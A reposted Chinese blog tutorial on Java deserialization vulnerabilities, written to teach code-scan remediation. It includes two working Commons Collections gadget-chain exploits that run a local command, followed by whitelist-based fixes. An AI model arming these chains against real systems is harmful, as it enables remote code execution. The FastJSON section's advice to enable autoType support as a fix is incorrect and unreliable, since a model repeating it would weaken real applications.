1.1 摘要:
在运行时对用户控制的对象流进行反序列化,会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致 Denial of Service。
1.2 漏洞解释:
Java 序列化会将对象图转换为字节流(包含对象本身和必要的元数据),以便通过字节流进行重构。开发人员可以创建自定义代码,以协助 Java 对象反序列化过程,在此期间,他们可以使用其他对象或代理替代反序列化对象。在对象重构过程中,并在对象返回至应用程序并转换为预期的类型之前,会执行自定义反序列化过程。到开发人员尝试强制执行预期的类型时,代码可能已被执行。 在必须存在于运行时类路径中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 JDK 类都可以被滥用,导致 JVM 资源耗尽、部署恶意文件或运行任意代码。
示例 1:应用程序对不可信对象流进行反序列化会影响应用程序。
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
MyObject obj = (MyObject) ois.readObject();
1.3 修复建议
如果可能,在没有验证对象流的内容的情况下,请勿对不可信数据进行反序列化。为了验证要进行反序列化的类,应使用前瞻反序列化模式。 对象流首先将包含类描述元数据,然后包含其成员字段的序列化字节。Java 序列化过程可以让开发人员读取类描述,并确定是继续进行对象的反序列化还是中止对象的反序列化。为此,需要在应执行类验证和确认的位置,子类化 java.io.ObjectInputStream 并提供 resolveClass(ObjectStreamClass desc) 方法的自定义实现。 已有易于使用的前瞻模式实现方式,
例如 Apache Commons IO (org.apache.commons.io.serialization.ValidatingObjectInputStream)。
始终使用严格的允许列表方法,以仅允许对预期类型进行反序列化。不建议使用拒绝列表方法,因为攻击者可以使用许多可用小工具绕过拒绝列表。此外,请谨记,尽管用于执行代码的某些类已公开,但是还可能存在其他未知或未公开的类,因此,允许列表方法始终都是首选方法。应审计允许列表中允许的任何类,以确保对其进行反序列化是安全的。 在库或框架中执行反序列化时(例如,使用 JMX、RMI、JMS、HTTP Invoker 时),上述建议并不适用,因为它超出了开发人员的控制范围。在这些情况下,您可能需要确保这些协议满足以下要求: - 未公开披露。 - 使用身份验证。 - 使用完整性检查。 - 使用加密。 此外,每当应用程序通过 ObjectInputStream 执行反序列化时,Fortify Runtime(Fortify 运行时)都会提供要强制执行的安全控制,以此同时保护应用程序代码以及库和框架代码,防止遭到此类攻击。
2.1 反序列化的历史
2011年开始,攻击者就开始利用反序列化问题发起攻击。
2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问。
2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。
从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞。据全网分析以及 shodan 扫描显示,时至今日,在全球范围内的公网上大约有 136,818 台服务器依然存在反序列化漏洞。
为什么这个漏洞影响如此之大,却依然让人防不胜防?
2.2 什么是序列化、反序列化?
序列化: 将内存对象转化为可以存储以及传输的二进制字节、xml、json、yaml 等格式。
反序列化: 将虚化列存储的二进制字节、xml、json、yaml 等格式的信息重新还原转化为对象实例。
|
| xml |
|
| json | {“name”:“ACGkaka”,“age”:20} |
| yaml | !!com.demo.user.Person {age: 20, name: ACGkaka}n |
在线二进制查看器: https://h.markbuild.com/doc/binary-viewer-cn.html
补充:Java 对象序列化为二进制
1
import
java.io.FileOutputStream;
2
import
java.io.IOException;
3
import
java.io.ObjectOutputStream;
4
5
/**
6
* Java 对象序列化为二进制
7
*/
8
public
class
Test
{
9
public
static
void
main1
(String[] args)
{
10
Person obj =
new
Person(
"ACGkaka"
,
20
);
11
try
{
12
FileOutputStream fileOut =
new
FileOutputStream(
"D:\object.bin"
);
13
ObjectOutputStream out =
new
ObjectOutputStream(fileOut);
14
out.writeObject(obj);
15
out.close();
16
fileOut.close();
17
}
catch
(IOException e) {
18
e.printStackTrace();
19
}
20
}
21
}
2.3 序列化/反序列化库
如果想将对象序列化为二进制格式(或者反序列化为对象),直接使用 JDK 自带的 ObjectOutputStream 的 readObject、writeObject 方法即可。如果想与其他格式(xml、json、yaml)相互转换,一般需要引入 jackson、snakeyaml 等其他开源组件,使用开源组件中提供的库方法。
2.4 反序列化漏洞
我们需要明确的一点是:Java 的序列化和反序列化本身并不存在问题,但如果 Java 应用对用户的输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。
所以,这个问题的根源在于类 ObjectInputStream 反序列化时,没有对生成的对象类型做限制。正因如此,Java 提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。
3.1 依赖版本
JDK版本: 1.8.0_60
commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)
1
<
dependency
>
2
<
groupId
>
commons-collections
</
groupId
>
3
<
artifactId
>
commons-collections
</
artifactId
>
4
<
version
>
3.2.1
</
version
>
5
</
dependency
>
3.2 代码复现
1
import
com.alibaba.fastjson2.JSON;
2
import
org.apache.commons.collections.Transformer;
3
import
org.apache.commons.collections.functors.ChainedTransformer;
4
import
org.apache.commons.collections.functors.ConstantTransformer;
5
import
org.apache.commons.collections.functors.InvokerTransformer;
6
import
org.apache.commons.collections.keyvalue.TiedMapEntry;
7
import
org.apache.commons.collections.map.LazyMap;
8
9
import
javax.management.BadAttributeValueExpException;
10
import
java.io.*;
11
import
java.lang.reflect.Field;
12
import
java.util.HashMap;
13
14
/**
15
* 复现反序列化漏洞(攻击链一)
16
*/
17
public
class
Test
{
18
19
public
static
void
main(
String
[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
20
// 构造利用链相关环的对象,最终目的达到命令行执行的效果(弹出计算器应用)
21
Transformer[] transformers =
new
Transformer[]{
22
new
ConstantTransformer(Runtime.
class
),
23
new
InvokerTransformer(
"getMethod"
,
new
Class[]{
String
.
class
, Class[].
class
},
new
Object
[]{
"getRuntime"
,
new
Class[
0
]}),
24
new
InvokerTransformer(
"invoke"
,
new
Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{
null
,
new
Object
[
0
]}),
25
new
InvokerTransformer(
"exec"
,
new
Class[]{
String
.
class
},
new
Object
[]{
"calc"
})
26
};
27
Transformer chain4Obj =
new
ChainedTransformer(transformers);
28
LazyMap chain3Obj = (LazyMap) LazyMap.decorate(
new
HashMap<>(), chain4Obj);
29
TiedMapEntry chain2Obj =
new
TiedMapEntry(chain3Obj,
"anyKey"
);
30
31
// 构造利用链的第一环 BadAttributeValueExpException 对象,因相关方法非public,使用反射强行设置val值
32
BadAttributeValueExpException chain10Obj =
new
BadAttributeValueExpException(
null
);
33
Field valField = chain10Obj.getClass().getDeclaredField(
"val"
);
34
valField.setAccessible(
true
);
35
valField.
set
(chain10Obj, chain2Obj);
36
37
// 使用jdk库函数将chain10Obj序列化到文件D:hacker中
38
ObjectOutputStream objOut =
new
ObjectOutputStream(
new
FileOutputStream(
"D:\hacker"
));
39
objOut.writeObject(chain10Obj);
40
41
// 使用jdk库函数将文件D:hacker内容反序列化为对象,反序列化漏洞触发任意命令行执行
42
ObjectInputStream objIn =
new
ObjectInputStream(
new
FileInputStream(
"D:\hacker"
));
43
Object
object = objIn.readObject();
44
}
45
}
3.3 执行结果
复现成功,打开了本地计算器。
3.4 漏洞利用原理分析
首先,反序列化漏洞利用最终目标是要能进行任意命令或者远程代码的执行。本例中,是达成了任意命令行命令的执行,即:本例中的 calc 命令。在 Java 中相当于要执行代码:
1
Runtime.getRuntime().
exec
(
"calc"
);
其中 calc 知识示例,可以换成任意其它命令。
如果作为攻击方,需要执行这条命令的话,那是不是直接把这一行代码写到 demo 程序里就行了?答案是不行的!直接写这一行代码你只能在 demo 程序中运行的时候有效果,没办法在实际反序列化的业务代码中执行的。我们需要利用反序列化过程本身会调用的方法作为入口,触发我们注入的命令执行。在 jdk 的 ObjectInputStream.readObject() 的反序列过程会调用目标反序列化对象的 readObject() 方法。攻击方需要利用该入口调用我们注入的命令。
那么作为攻击方,是不是直接定义一个对象X,在 readObject 方法里面写这一行代码(Runtime.getRuntime().exec("calc");)就行了,为什么样例代码整的那么复杂?答案依然是不行的。这样仅能在攻击者本地执行,业务执行环境中没有X这个类的定义,会报错 ClassNotFoundException。
所以攻击方只能利用业务本身已经加载的 jdk 以及常用开源组件中的类来构造序列化攻击连,本例中选用的攻击连的第一环为 BadAttributeValueExpException 对象。当执行反序列化时,首先会触发调用 BadAttributeValueExpException 的 readObject() 方法。
假如业务上通过黑名单的方法禁止了 BadAttributeValueExpException 类的反序列化,能防止反序列化攻击吗?答案依然是否定的。这条链禁止的,我们换一条就是了。本小节介绍另外一条 commons-collections 的经典攻击链。
4.1 依赖版本
JDK版本: 1.8.0_60
commons-collections版本: 3.2.1(从 3.2.2 开始增加了安全校验,需要手动设置 System.setProperty(“org.apache.commons.collections.enableUnsafeSerialization”, “true”);)
1
<
dependency
>
2
<
groupId
>
commons-collections
</
groupId
>
3
<
artifactId
>
commons-collections
</
artifactId
>
4
<
version
>
3.2.1
</
version
>
5
</
dependency
>
4.2 代码复现
1
import
org.apache.commons.collections.Transformer;
2
import
org.apache.commons.collections.functors.ChainedTransformer;
3
import
org.apache.commons.collections.functors.ConstantTransformer;
4
import
org.apache.commons.collections.functors.InvokerTransformer;
5
import
org.apache.commons.collections.map.LazyMap;
6
7
import
java.io.FileInputStream;
8
import
java.io.FileOutputStream;
9
import
java.io.ObjectInputStream;
10
import
java.io.ObjectOutputStream;
11
import
java.lang.reflect.Constructor;
12
import
java.lang.reflect.InvocationHandler;
13
import
java.lang.reflect.Proxy;
14
import
java.util.HashMap;
15
import
java.util.
Map
;
16
17
/**
18
* 复现反序列化漏洞(攻击链二)
19
*/
20
public
class
Test
{
21
22
public
static
void
main(
String
[] args) throws Exception{
23
// 构造利用链相关环的对象,最终目的达到命令行执行的效果(本例中弹出计算器应用)
24
Transformer[] transformers =
new
Transformer[] {
25
new
ConstantTransformer(Runtime.
class
),
26
new
InvokerTransformer(
"getMethod"
,
new
Class[] {
String
.
class
, Class[].
class
},
new
Object
[] {
"getRuntime"
,
new
Class[
0
] }),
27
new
InvokerTransformer(
"invoke"
,
new
Class[] {
Object
.
class
,
Object
[].
class
},
new
Object
[] {
null
,
new
Object
[
0
] }),
28
new
InvokerTransformer(
"exec"
,
new
Class[] {
String
.
class
},
new
Object
[] {
"calc"
})};
29
Transformer chanin5Obj =
new
ChainedTransformer(transformers);
30
LazyMap chain4Obj = (LazyMap)LazyMap.decorate(
new
HashMap(), chanin5Obj);
31
32
Constructor<?> constructor = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler"
).getDeclaredConstructors()[
0
];
33
constructor.setAccessible(
true
);
34
InvocationHandler chain3Obj = (InvocationHandler) constructor.newInstance(SuppressWarnings.
class
, chain4Obj);
35
Map
chain2Obj = (
Map
) Proxy.newProxyInstance(LazyMap.
class
.getClassLoader(), LazyMap.
class
.getInterfaces(), chain3Obj);
36
InvocationHandler chain1Obj = (InvocationHandler) constructor.newInstance(Override.
class
, chain2Obj);
37
38
// 使用jdk库函数将chain1Obj序列化到文件D:hacker2中
39
ObjectOutputStream objOut =
new
ObjectOutputStream(
new
FileOutputStream(
"D:\hacker2"
));
40
objOut.writeObject(chain1Obj);
41
42
// 使用jdk库函数将文件D:hacker2内容反序列化为对象,反序列化漏洞触发任意命令行执行
43
ObjectInputStream objIn =
new
ObjectInputStream(
new
FileInputStream(
"D:\hacker2"
));
44
Object
object = objIn.readObject();
45
}
46
}
4.3 执行结果
我们可以看到,虽然报错了,但还是复现成功,打开了本地计算器。
事实上,除了 commons-collections 工具包中存在反序列化漏洞外,jackson-databind、SnakeYaml 都存在经典的攻击链,可参考这位大佬的文章:https://zhuanlan.zhihu.com/p/654430511
上面我们看到了利用常用开源组件的多个类构建的一系列攻击链,如果仅用黑名单限制某些攻击链上类的反序列化是不够的,会有源源不断的新的攻击链被挖掘出来。所以为了让代码更受控、更安全,最好能梳理清楚业务上需要反序列化的类列表,进行白名单校验。
控制反序列化源: 反序列化的数据源如果是可以轻易地被外部用户控制,就一定要做白名单校验。如果数据源在正常业务不能被外部控制,但是也不能完全排除攻击者通过其它手段攻破进来篡改了相关依赖的数据源后发动组合攻击,最好也做白名单防护。
白名单校验: 涉及到使用 ObjectInputStream 进行反序列化时,重写 resolveClass 方法增加白名单校验。业务代码使用重写 SecureObjectInpuStream 类进行反序列化。
注意: 自定义白名单校验的时候,需要考虑到对象中还包含哪些类型的属性,包装类也要考虑在内,否则就会被校验卡住,导致反序列化失败。
5.1 反序列化校验-二进制
方式一:自定义白名单校验
SecureObjectInputStream.java
1
import
java.io.IOException;
2
import
java.io.InputStream;
3
import
java.io.ObjectInputStream;
4
import
java.io.ObjectStreamClass;
5
6
/**
7
* 白名单校验
8
*/
9
public
class
SecureObjectInputStream
extends
ObjectInputStream
{
10
11
public
SecureObjectInputStream
(InputStream in)
throws
IOException
{
12
super
(in);
13
}
14
15
@Override
16
protected
Class<?> resolveClass(ObjectStreamClass desc)
throws
IOException, ClassNotFoundException {
17
// 白名单校验
18
if
(!desc.getName().equals(
"com.demo.user.Person"
) && !desc.getName().startsWith(
"java.lang"
)) {
19
throw
new
ClassNotFoundException(desc.getName() +
" not found."
);
20
}
21
return
super
.resolveClass(desc);
22
}
23
}
使用示例:
Test.java
1
import
com.alibaba.fastjson.JSON;
2
import
org.apache.commons.io.serialization.ValidatingObjectInputStream;
3
4
import
java.io.FileInputStream;
5
import
java.io.FileOutputStream;
6
import
java.io.IOException;
7
import
java.io.ObjectOutputStream;
8
9
public
class
Test
{
10
/**
11
* 序列化
12
*/
13
public
static
void
main1
(String[] args)
{
14
Person obj =
new
Person(
"ACGkaka"
,
20
);
15
try
{
16
FileOutputStream fileOut =
new
FileOutputStream(
"D:\object.bin"
);
17
ObjectOutputStream out =
new
ObjectOutputStream(fileOut);
18
out.writeObject(obj);
19
out.close();
20
fileOut.close();
21
}
catch
(IOException e) {
22
e.printStackTrace();
23
}
24
}
25
26
/**
27
* 反序列化
28
*/
29
public
static
void
main
(String[] args)
throws Exception
{
30
ValidatingObjectInputStream vois =
new
ValidatingObjectInputStream(
new
FileInputStream(
"D:\object.bin"
));
31
vois.accept(Person.class);
32
vois.accept(
"java.lang.*"
);
33
Object object = vois.readObject();
34
System.out.
printf
(JSON.toJSONString(object));
35
}
36
}
Person.java
1
package
com.demo.user;
2
3
import
lombok.AllArgsConstructor;
4
import
lombok.Data;
5
6
import
java.io.Serializable;
7
8
@Data
9
@AllArgsConstructor
10
public
class
Person
implements
Serializable
{
11
/**
12
* 姓名
13
*/
14
private
String name;
15
/**
16
* 年龄
17
*/
18
private
Integer age;
19
}
正常反序列化,执行结果:
利用攻击链1,执行结果:
利用攻击链2,执行结果:
方式二:使用工具包中的校验【推荐】
在 commons-io 中有带有 ValidatingObjectInputStream 工具类,专门用于过滤反序列化校验。
1
<
dependency
>
2
<
groupId
>
commons-io
</
groupId
>
3
<
artifactId
>
commons-io
</
artifactId
>
4
<
version
>
2.14.0
</
version
>
5
</
dependency
>
使用示例:
1
import
com.alibaba.fastjson.JSON;
2
import
org.apache.commons.io.serialization.ValidatingObjectInputStream;
3
import
java.io.FileInputStream;
4
5
public
static
void
main
(String[] args)
throws Exception
{
6
ValidatingObjectInputStream vois =
new
ValidatingObjectInputStream(
new
FileInputStream(
"D:\object.bin"
));
7
// 可以多次添加校验内容,只要满足其中一个就会正常反序列化。
8
vois.accept(Person.class);
9
vois.accept(
"java.lang.*"
);
10
Object object = vois.readObject();
11
System.out.
printf
(JSON.toJSONString(object));
12
}
正常反序列化,执行结果:
利用攻击链1,执行结果:
利用攻击链2,执行结果:
可以看到,两种方式都在保证正常序列化的情况下,完整了漏洞的白名单校验,漏洞修复。
5.2 反序列化校验-FastJSON
漏洞位置:
1
import
com.alibaba.fastjson.JSONObject;
2
import
org.springframework.data.redis.connection.Message;
3
import
org.springframework.data.redis.connection.MessageListener;
4
import
org.springframework.stereotype.Component;
5
6
@Component
7
public
class
MyMessageListener
implements
MessageListener
{
8
9
@Override
10
public
void
onMessage
(Message message,
byte
[] pattern)
{
11
String body = message.toString();
12
// 漏洞位置
13
JSONObject jsonObject = JSONObject.parseObject(body);
14
...
15
}
16
}
漏洞分析:
1.2.24及以前版本就跟白纸一样随便调用方法,在1.2.25开始加入了黑白名单机制。
我们继续用1.2.24的payload(这里用TemplatesImpl的payload)去打,会发现报错autotype不支持:
究其原因,是因为在com.alibaba.fastjson.parser.ParserConfig 加入了CheckAutoType方法:
1
com.alibaba.fastjson.parser.ParserConfig !
public
Class
<?> checkAutoType(
String
typeName
,
Class
<?> expectClass)
在其中有个autotypesupport属性,如果为false,那么就会检测json中@type的值 开头是否与黑名单中的值一样,若一样就直接返回一个异常,然后加载白名单中的类
1
if
(!autoTypeSupport) {
2
\黑名单检测,classname是传入类的全名,denyList是黑名单
3
for
(
int
i =
0
; i < denyList.length; ++i) {
4
String
deny = denyList[i];
5
if
(className.startsWith(deny)) {
6
throw
new
JSONException(
"autoType is not support. "
+ typeName);
7
}
8
}
9
for
(
int
i =
0
; i < acceptList.length; ++i) {
10
String
accept = acceptList[i];
11
if
(className.startsWith(accept)) {
12
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
13
14
if
(expectClass !=
null
&& expectClass.isAssignableFrom(clazz)) {
15
throw
new
JSONException(
"type not match. "
+ typeName +
" -> "
+ expectClass.getName());
16
}
17
return
clazz;
18
}
19
}
20
}
黑名单长这样:
若autotypesupport开启,则会先白名单加载,后黑名单检测
1
if
(autoTypeSupport || expectClass !=
null
) {
2
for
(
int
i =
0
; i < acceptList.length; ++i) {
3
String
accept = acceptList[i];
4
if
(className.startsWith(accept)) {
5
return
TypeUtils.loadClass(typeName, defaultClassLoader);
6
}
7
}
8
9
for
(
int
i =
0
; i < denyList.length; ++i) {
10
String
deny = denyList[i];
11
if
(className.startsWith(deny)) {
12
throw
new
JSONException(
"autoType is not support. "
+ typeName);
13
}
14
}
15
}
后面的许多更新都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
漏洞修复:
如何开启autotypesupport?只需在json被解析前加入如下代码即可:
1
ParserConfig
.getGlobalInstance
()
.setAutoTypeSupport
(
true
);
5.3 反序列化校验-RedisSerializer
漏洞位置:
1
import
lombok.extern.slf4j.Slf4j;
2
import
org.springframework.data.redis.connection.Message;
3
import
org.springframework.data.redis.connection.MessageListener;
4
import
org.springframework.data.redis.core.RedisTemplate;
5
import
org.springframework.stereotype.Component;
6
import
javax.annotation.Resource;
7
8
@Slf
4j
9
@Component
10
public
class
MyMessageListener
implements
MessageListener
{
11
12
@Resource
13
private
RedisTemplate<String, Object> redisTemplate;
14
15
@Override
16
public
void
onMessage
(Message message,
byte
[] pattern)
{
17
byte
[] body = message.getBody();
18
// 漏洞位置
19
String value = (String) redisTemplate.getValueSerializer().deserialize(body);
20
...
21
}
22
23
}
漏洞修复:
Redis 的序列化和反序列化一般自定义可以分为两种:
RedisStringSerializer:对 String 类型数据进行序列化和反序列化;
RedisObjectSerializer:对其他 Object 类型数据进行序列化和反序列化。
我们可以根据具体情况来进行修复:
如果是 Redis 的 String 类型传输,有两种情况:
普通 String 传输,比如传一个编码(NO_1001)。针对这种,我们可以直接对类型进行判断(if (String.class.equals(redisTemplate.getStringSerializer().getTargetType()))。
JSON 类型的 String 传输,需要先进行普通字符串的校验,然后配合上面的 FastJSON 反序列化校验。
如果是 Redis 的 Object 类型,有两种处理方式:
根据当前传输对象的类型 T.class,再单独创建一个 RedisSerializer<T> 的序列化和反序列化实现,然后在具体需要反序列化的场景中对类型进行判断(if (T.class.equals(redisTemplate.getValueSerializer().getTargetType())))。
将对象转为 JSON 格式进行传输,然后配合 if + FastJSON 的格式进行校验。
下面是普通 String 类型传输的校验示例:
1
import
lombok.extern.slf4j.Slf4j;
2
import
org.springframework.data.redis.connection.Message;
3
import
org.springframework.data.redis.connection.MessageListener;
4
import
org.springframework.data.redis.core.RedisTemplate;
5
import
org.springframework.stereotype.Component;
6
import
javax.annotation.Resource;
7
8
@Slf
4j
9
@Component
10
public
class
MyMessageListener
implements
MessageListener
{
11
12
@Resource
13
private
RedisTemplate<String, Object> redisTemplate;
14
15
@Override
16
public
void
onMessage
(Message message,
byte
[] pattern)
{
17
byte
[] body = message.getBody();
18
// 增加反序列化名单校验
19
Class<?> targetType = redisTemplate.getStringSerializer().getTargetType();
20
if
(!String.class.equals(targetType)) {
21
log.error(
"类型错误,反序列化对象失败,targetType: {}"
, targetType);
22
throw
new
RuntimeException(
"类型错误,反序列化对象失败"
);
23
}
24
String value = redisTemplate.getValueSerializer().deserialize(body);
25
// 如果还需要解析JSON,则配合FastJSON的校验即可。
26
...
27
}
28
29
}
整理完毕,完结撒花~
1.java反序列漏洞原理分析及防御修复方法,https://blog.csdn.net/m0_38103658/article/details/100581450
2.安全攻防丨反序列化漏洞的实操演练,https://zhuanlan.zhihu.com/p/654430511
3.浅析FastJSON反序列化漏洞(1.2.24——1.2.68),https://cloud.tencent.com/developer/article/1957185
版权声明:本文为CSDN博主「ACGkaka_」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_33204709/article/details/134258101
版权声明:著作权归作者所有。如有侵权请联系删除
原文始发于微信公众号(开源聚合网络空间安全研究院):【代码扫描修复】不安全的反序列化攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论